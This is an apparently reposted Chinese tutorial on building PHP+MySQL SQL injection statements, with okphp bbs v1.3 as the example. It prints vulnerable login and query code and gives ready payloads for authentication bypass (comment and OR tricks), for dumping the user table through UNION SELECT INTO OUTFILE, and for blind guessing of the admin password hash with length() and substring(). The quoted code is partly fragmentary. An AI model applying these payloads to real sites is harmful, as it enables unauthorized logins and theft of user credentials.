攻擊方法談php mysql注射語句構造

一.前言：

版本資訊：okphp bbs v1.3 開源版

由於 php和mysql本身得原因,php+mysql的注射要比asp困難，尤其是注射時語句的構造方面更是個難點，本文主要是借對okphp bbs v1.3一些檔案得簡單分析，來談談php+mysql注射語句構造方式，希望本文對你有點幫助。

宣告：文章所有提到的「漏洞」，都沒有經過測試，可能根本不存在，其實有沒有漏洞並不重要，重要的是分析思路和語句構造。

二.「漏洞」分析：

1.admin/login.php注射導致繞過身份驗證漏洞：

**：$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "select id,group_id from $user_table where username='$username' and password='$password'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中

$username 和 $password 沒過濾，很容易就繞過。

對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有：

構造1(利用邏輯運算)：$username=' or 'a'='a $password=' or 'a'='a

相當於sql語句：

select * from $user_table where username='' or 'a'='a' and password='' or 'a'='a'

構造2(利用mysql裡的注釋語句# ，/* 把$password注釋掉)：$username=admin'#(或admin'/*) 即：

select * from $user_table where username='admin'#' and password='$password'"

相當於：

select * from $user_table where username='admin'

在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這裡我們用構造2：

select id,group_id from $user_table where username='admin'#' and password='$password'"

相當於：

select id,group_id from $user_table where username='admin'

只要存在使用者名為admin的就成立，如果不知道使用者名稱，只知道對應的id，

我們就可以這樣構造：$username=' or id=1#

相當於：

select id,group_id from $user_table where username='' or id=1# and password='$password'(#後的被注釋掉)

我們接著往下看**：

if ($row[0])

else }

// fail to login---------------

if (!$login)

// access ! -------------

else }

}elseif ($del_id)

$tpl->setvariable("message","$i log deleted ok!");

$tpl->setvariable("action","index.php?action=list_log"); }

**就只簡單的用get_r($arr);判斷的提交的引數，我們只要提交相應的$del_log，$log_id，$del_id。就回刪除成功。

4.多個檔案對變數沒有過濾導致sql注射漏洞。

okphp的作者好象都不喜歡過濾

看list_threads.php的**：

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

變數$forum_id沒有過濾，因為mysql不支援子查詢，我們可以利用union構造語句進行聯合查詢(要求mysql版本在4.00以上)實現跨庫操作，我們構造如下：

構造1：利用 select * from table into outfile '/path/file.txt'(要求mysql有file許可權，注意在win系統中要絕對路徑，如：c://path//file.txt )。把所查詢的內容輸入到file.txt，然後我們可以通http://ip/path/file.txt來訪問得到查詢的結果。上面的我們可以這樣構造$forum_id:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

以下：$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";

上面的辦法要求比較苛刻，必須得到web的路徑(一般可以通過提交錯誤的變數使mysql報錯而得到)，而且php的magic_gpc=on選項使注入中不能出現單引號。如果magic_gpc=on我們也可以繞過：

構造2：就象asp跨庫查詢一樣，直接利用union select構造語句，使返回結果不同來猜解，這種方法可以繞過單引號(magic_gpc=on)繼續注射，不過在php裡這種注射相對困難，根據具體的**而定。具體的語句構造請參考pinkeyes 的文章《php注入例項》。下面我就結合okphp給個利用「返回結果不同」注射的例子：(見漏洞5)。

5.admin/login.php和users/login.php通過sql語句構造可以猜解得到指定使用者密碼hash：(其實這個和漏洞1和2是同乙個，這裡單獨拿出來，主要是說明語句構造的方法。)

問題**同漏洞1。

語句的構造(ps：因為語句本身就是對使用者庫操作就沒必要用union了)：

$username=admin' and length(password)=6#

sql語句變成：

$q = "select id,group_id from $user_table where username='admin' and length(password)=6#' and password='$password'"

相當於:

$q = "select id,group_id from $user_table where username='admin' and length(password)=6'"

如果length(password)=6成立，則正常返回，如果不成立，mysql就會報錯。

這樣我們就可以猜解使用者admin密碼hash了。如$username=admin' ord(substring(password,1,1))=57#

可以猜使用者的密碼第一位的ascii碼值............。

攻擊方法談php mysql注射語句構造

insert式注射攻擊解析

初談CSRF攻擊

mysql山推談PHP MySQL紮實個人基本功

攻擊方法 談php mysql注射語句構造

insert式注射攻擊解析

初談CSRF攻擊

mysql山推 談PHP MySQL紮實個人基本功

相關推薦

攻擊方法談php mysql注射語句構造

mysql山推談PHP MySQL紮實個人基本功